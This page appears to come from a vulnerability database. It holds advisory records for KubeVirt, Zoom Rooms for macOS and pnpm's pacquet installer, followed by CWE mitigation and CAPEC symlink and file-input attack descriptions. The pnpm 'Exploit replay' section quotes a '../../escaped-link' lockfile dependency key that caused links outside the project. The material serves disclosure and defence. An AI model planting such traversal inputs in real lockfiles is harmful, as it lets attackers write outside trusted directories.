  "modified": "2025-11-17T21:41:52Z",
  "published": "2025-11-06T23:36:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/3ce9f41c54d04a65f10b23a46771391c00659afb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/8644dbe0d04784b0bfa8395b91ecbd6001f88f6b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/f59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubevirt/kubevirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes"
}

GHSA-2RHM-FQ9F-R29W

Vulnerability from github – Published: 2023-11-15 00:31 – Updated: 2023-11-15 00:31
VLAI
Details

Link following in Zoom Rooms for macOS before version 5.16.0 may allow an authenticated user to conduct an escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-43590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-15T00:15:09Z",
    "severity": "HIGH"
  },
  "details": "Link following  in Zoom Rooms for macOS before version 5.16.0 may allow an authenticated user to conduct an escalation of privilege via local access.\n",
  "id": "GHSA-2rhm-fq9f-r29w",
  "modified": "2023-11-15T00:31:08Z",
  "published": "2023-11-15T00:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43590"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2RX9-3G3H-C2JV

Vulnerability from github – Published: 2026-09-01 18:59 – Updated: 2026-09-01 18:59
VLAI
Summary
pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project
Details

Summary

A crafted lockfile alias could reach several install-time filesystem joins. With --trust-lockfile or a frozen lockfile, traversal segments could create links outside the intended project or node_modules boundary. This patch validates dependency names and every virtual-store slot before creating directories, links, bins, or hoisted entries.

Security boundary

  • A shared safe-join helper rejects traversal, absolute, platform-specific, and reserved dependency names before filesystem materialization.
  • Direct and transitive dependency links, package links, bin destinations, and public/private hoist destinations use the same containment rule.
  • Global virtual-store slots validate the complete slot path, including version-derived components, before directory creation.
  • Snapshot slots and package names are checked before store initialization and before the current-lockfile fast path, closing the warm-install bypass.
  • Rejections preserve ERR_PNPM_INVALID_DEPENDENCY_NAME.

Exploit replay

Before the patch, pacquet install --frozen-lockfile --trust-lockfile accepted a ../../escaped-link dependency key and created a symlink outside the project. With this patch, the same lockfile is rejected before materialization and no outside link is created.

Files changed

  • pacquet/crates/package-manager/src/safe_join_modules_dir.rs defines the shared containment rule.
  • Install, symlink, bin, hoist, virtual-store, and frozen-lockfile paths call that helper before filesystem materialization.
  • The corresponding tests.rs files cover every sink, including warm installs and global virtual-store slots.

Commands run

$ cargo test --locked -p pacquet-package-manager --lib
PASS: 434 tests
$ cargo clippy --locked -p pacquet-package-manager --all-targets -- --deny warnings
PASS
$ cargo fmt --all -- --check
PASS

Validation

  • Full pacquet package-manager suite: 434 passed.
  • Focused regressions cover direct and transitive aliases, bins, hoists, package names, global virtual-store version traversal, and a poisoned prior-install slot.
  • cargo clippy -p pacquet-package-manager --all-targets -- -D warnings: passed.
  • cargo fmt --all -- --check and git diff --check: passed.

Compatibility

Valid unscoped and scoped dependency aliases continue to work. The reproduced escape was specific to pacquet, so this branch does not change the TypeScript CLI or the lockfile format.


Written by an agent (Codex, GPT-5).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0-alpha.0"
            },
            {
              "fixed": "12.0.0-alpha.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T18:59:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA crafted lockfile alias could reach several install-time filesystem joins. With `--trust-lockfile` or a frozen lockfile, traversal segments could create links outside the intended project or `node_modules` boundary. This patch validates dependency names and every virtual-store slot before creating directories, links, bins, or hoisted entries.\n\n## Security boundary\n\n- A shared safe-join helper rejects traversal, absolute, platform-specific, and reserved dependency names before filesystem materialization.\n- Direct and transitive dependency links, package links, bin destinations, and public/private hoist destinations use the same containment rule.\n- Global virtual-store slots validate the complete slot path, including version-derived components, before directory creation.\n- Snapshot slots and package names are checked before store initialization and before the current-lockfile fast path, closing the warm-install bypass.\n- Rejections preserve `ERR_PNPM_INVALID_DEPENDENCY_NAME`.\n\n## Exploit replay\n\nBefore the patch, `pacquet install --frozen-lockfile --trust-lockfile` accepted a `../../escaped-link` dependency key and created a symlink outside the project. With this patch, the same lockfile is rejected before materialization and no outside link is created.\n\n## Files changed\n\n- `pacquet/crates/package-manager/src/safe_join_modules_dir.rs` defines the shared containment rule.\n- Install, symlink, bin, hoist, virtual-store, and frozen-lockfile paths call that helper before filesystem materialization.\n- The corresponding `tests.rs` files cover every sink, including warm installs and global virtual-store slots.\n\n## Commands run\n\n```text\n$ cargo test --locked -p pacquet-package-manager --lib\nPASS: 434 tests\n$ cargo clippy --locked -p pacquet-package-manager --all-targets -- --deny warnings\nPASS\n$ cargo fmt --all -- --check\nPASS\n```\n\n## Validation\n\n- Full pacquet package-manager suite: 434 passed.\n- Focused regressions cover direct and transitive aliases, bins, hoists, package names, global virtual-store version traversal, and a poisoned prior-install slot.\n- `cargo clippy -p pacquet-package-manager --all-targets -- -D warnings`: passed.\n- `cargo fmt --all -- --check` and `git diff --check`: passed.\n\n## Compatibility\n\nValid unscoped and scoped dependency aliases continue to work. The reproduced escape was specific to pacquet, so this branch does not change the TypeScript CLI or the lockfile format.\n\n---\nWritten by an agent (Codex, GPT-5).",
  "id": "GHSA-2rx9-3g3h-c2jv",
  "modified": "2026-09-01T18:59:22Z",
  "published": "2026-09-01T18:59:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-2rx9-3g3h-c2jv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/pull/12872"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project"
}

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.